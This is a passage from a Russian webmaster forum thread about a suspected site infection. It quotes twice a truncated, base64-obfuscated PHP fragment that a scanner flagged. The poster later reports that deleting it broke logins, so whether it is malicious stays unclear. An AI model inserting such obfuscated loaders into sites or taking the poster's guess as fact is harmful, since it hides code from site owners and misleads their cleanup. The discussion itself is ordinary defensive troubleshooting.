Я ничего не пойму

12
BestLoader
На сайте с 29.01.2008
Offline
109
#11

С помощью программы AI-Bolit нашел в одном из файлов следующий код, я так понимаю это и есть вирус

<?php $_F=__FILE__;$_X='P2lCP1ouWg1WaCoNVlNTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTDVY+NGU9ZUlzQU0+S0h4c0hNPi0+PHE+cE9BPUVNfW4+dU05c2U+Q3pPUVo+DVYtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ1WPi49PVo6aGg5V00tSE19blh6UWgNVi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDVY+L09acXpzeC49PigyKT5rYWFVLGthMEw+cE9BPUVNfW4+dU05c2U+Q3pPUVoNVlNTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTDVY+xODt7fvpPuru5D7n4Pno+eXtPuDi8u7w8ero7Og+7/Dg4uDs6A1WU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1MNVj7U4OnrOj5zSHM9WFouWg1WLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NVj7N4Oft4Pfl7ejlOj7I7ej26ODr6Ofg9uj/DVZTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTUw1WKmgNVg1Wc0EoPiE5TUFzSE05KD4nNEZURkkzcktLRUMzRUsnPik+KT5dDVYJOXNNKD4idGUyeXNIeD5lPT1NWVo9ISI+KTsNVmwNVg1WOU1Bc0hNKD4nNDNFM1Q2S2dwMzdFJyw+IjBMW1UiPik7DVY5TUFzSE0oPic2S2dwMzdFMzQnLD4iMGFYVSI+KTsNVg1Wek12UXN6TV9PSDJNPihLRUMzRUtfNDNnPlg+J2g5ZT1laDJPSEFzeFhaLlonKTsNVnpNdlFzek1fT0gyTT4oS0VDM0VLXzQzZz5YPidoMldlbm5NbmhZcW52V1haLlonKTsNVnpNdlFzek1fT0gyTT4oS0VDM0VLXzQzZz5YPidoOWU9ZWg5PDJPSEFzeFhaLlonKTsNVnpNdlFzek1fT0gyTT4oS0VDM0VLXzQzZz5YPidoc0gyaHNIMldROU1oQVFIMj1zT0huWHNIMlhaLlonKTsNVg1WOWU9TV85TUFlUVc9Xz1zWU01T0hNX25NPT4oPiQyT0hBc3hqJzllPU1fZTkKUW49J2Q+KTsNVg1WOVdNX25Nbm5zT0goKTsNVg1WQVFIMj1zT0g+bk1IOV9lMj1zY2U9c09IKD4kdlFNenE+KT5dDVYJDVYJJDllPWU+Uz4uPT1aX3hNPV8yT0g9TUg9bigiLj09WjpoaDlXTS1ITX1uWHpRaE1SPXplbmhlMj1zY2U9TWthYVBYWi5aPyJYJHZRTXpxKTsNVg1WCXNBKD4kOWU9ZT4hU1M+QWVXbk0+KT5dCQ1WCQlzQSg+bj16c249eig+JDllPWUsPiJlSD19OmUyPXNjZT1NOSI+KT4pPnpNPVF6SD4iMCI7DVYJCXNBKD5uPXpzbj16KD4kOWU9ZSw+ImVIPX06OU1Ic005Ij4pPik+ek09UXpIPiJhIjsNVglsDVYNVgl6TT1Rekg+Ii0wIjsNVmwNVg1WQVFIMj1zT0g+eE09XzlPWU1IXy5lbi4oKT5dDVYJJDlPWU1IX1k5TD5TPk1SWldPOU0oPidYJyw+JF9wS2c2S2dqJ3RUVG1fdDdwVCdkPik7DVYJJDJPUUg9X3lNcT5TPjJPUUg9KD4kOU9ZTUhfWTlMPik+LT4wOw1WCVFIbk09KD4kOU9ZTUhfWTlMaiQyT1FIPV95TXFkPik7DVYJc0EoPk1IOSg+JDlPWU1IX1k5TD4pPlNTPiIyT1kiPk96Pk1IOSg+JDlPWU1IX1k5TD4pPlNTPiJITT0iPik+JDJPUUg9X3lNcT4tLTsNVgkkOU9ZTUhfWTlMPlM+JDlPWU1IX1k5TGokMk9RSD1feU1xPi0+MGQ7DVYJJDlPWU1IX1k5TD5TPlk5TCg+WTlMKD4kOU9ZTUhfWTlMPlg+IjFmYVAwZiI+KT4pOw1WCXpNPVF6SD4kOU9ZTUhfWTlMOw1WbA1WDVZBUUgyPXNPSD=='));?>

И так далее, там 19000 символов.

Грамотное наполнение ваших сайтов и интернет магазинов (/ru/forum/1008348)
BestLoader
На сайте с 29.01.2008
Offline
109
#12

Люди, прошу кого нибудь выйдите на сайт ecofilms.ru с мобильного и отпишитесь, перенаправляет вас куда нибудь или нет, с моих IP я никакого вредоносного перенаправления не вижу.

Заранее спасибо.

arman1231
На сайте с 29.04.2011
Offline
78
#13

Только ручной поиск, никакие онлайн антивирус не помогут. Удивляюсь людям, начинают думать о безопасности, когда жопа сгорела.

Если ничего не получится, прошу в ЛС, помогу с решением данной проблемы.

Дорогу осилит идущий
BestLoader
На сайте с 29.01.2008
Offline
109
#14
BestLoader:
С помощью программы AI-Bolit нашел в одном из файлов следующий код, я так понимаю это и есть вирус

<?php $_F=__FILE__;$_X='P2lCP1ouWg1WaCoNVlNTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTDVY+NGU9ZUlzQU0+S0h4c0hNPi0+PHE+cE9BPUVNfW4+dU05c2U+Q3pPUVo+DVYtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ1WPi49PVo6aGg5V00tSE19blh6UWgNVi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDVY+L09acXpzeC49PigyKT5rYWFVLGthMEw+cE9BPUVNfW4+dU05c2U+Q3pPUVoNVlNTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTDVY+xODt7fvpPuru5D7n4Pno+eXtPuDi8u7w8ero7Og+7/Dg4uDs6A1WU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1MNVj7U4OnrOj5zSHM9WFouWg1WLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NVj7N4Oft4Pfl7ejlOj7I7ej26ODr6Ofg9uj/DVZTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTUw1WKmgNVg1Wc0EoPiE5TUFzSE05KD4nNEZURkkzcktLRUMzRUsnPik+KT5dDVYJOXNNKD4idGUyeXNIeD5lPT1NWVo9ISI+KTsNVmwNVg1WOU1Bc0hNKD4nNDNFM1Q2S2dwMzdFJyw+IjBMW1UiPik7DVY5TUFzSE0oPic2S2dwMzdFMzQnLD4iMGFYVSI+KTsNVg1Wek12UXN6TV9PSDJNPihLRUMzRUtfNDNnPlg+J2g5ZT1laDJPSEFzeFhaLlonKTsNVnpNdlFzek1fT0gyTT4oS0VDM0VLXzQzZz5YPidoMldlbm5NbmhZcW52V1haLlonKTsNVnpNdlFzek1fT0gyTT4oS0VDM0VLXzQzZz5YPidoOWU9ZWg5PDJPSEFzeFhaLlonKTsNVnpNdlFzek1fT0gyTT4oS0VDM0VLXzQzZz5YPidoc0gyaHNIMldROU1oQVFIMj1zT0huWHNIMlhaLlonKTsNVg1WOWU9TV85TUFlUVc9Xz1zWU01T0hNX25NPT4oPiQyT0hBc3hqJzllPU1fZTkKUW49J2Q+KTsNVg1WOVdNX25Nbm5zT0goKTsNVg1WQVFIMj1zT0g+bk1IOV9lMj1zY2U9c09IKD4kdlFNenE+KT5dDVYJDVYJJDllPWU+Uz4uPT1aX3hNPV8yT0g9TUg9bigiLj09WjpoaDlXTS1ITX1uWHpRaE1SPXplbmhlMj1zY2U9TWthYVBYWi5aPyJYJHZRTXpxKTsNVg1WCXNBKD4kOWU9ZT4hU1M+QWVXbk0+KT5dCQ1WCQlzQSg+bj16c249eig+JDllPWUsPiJlSD19OmUyPXNjZT1NOSI+KT4pPnpNPVF6SD4iMCI7DVYJCXNBKD5uPXpzbj16KD4kOWU9ZSw+ImVIPX06OU1Ic005Ij4pPik+ek09UXpIPiJhIjsNVglsDVYNVgl6TT1Rekg+Ii0wIjsNVmwNVg1WQVFIMj1zT0g+eE09XzlPWU1IXy5lbi4oKT5dDVYJJDlPWU1IX1k5TD5TPk1SWldPOU0oPidYJyw+JF9wS2c2S2dqJ3RUVG1fdDdwVCdkPik7DVYJJDJPUUg9X3lNcT5TPjJPUUg9KD4kOU9ZTUhfWTlMPik+LT4wOw1WCVFIbk09KD4kOU9ZTUhfWTlMaiQyT1FIPV95TXFkPik7DVYJc0EoPk1IOSg+JDlPWU1IX1k5TD4pPlNTPiIyT1kiPk96Pk1IOSg+JDlPWU1IX1k5TD4pPlNTPiJITT0iPik+JDJPUUg9X3lNcT4tLTsNVgkkOU9ZTUhfWTlMPlM+JDlPWU1IX1k5TGokMk9RSD1feU1xPi0+MGQ7DVYJJDlPWU1IX1k5TD5TPlk5TCg+WTlMKD4kOU9ZTUhfWTlMPlg+IjFmYVAwZiI+KT4pOw1WCXpNPVF6SD4kOU9ZTUhfWTlMOw1WbA1WDVZBUUgyPXNPSD=='));?>


И так далее, там 19000 символов.

Походу, я удалил этот код зря, после этого не один из пользователей не может авторизироваться, включая меня

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий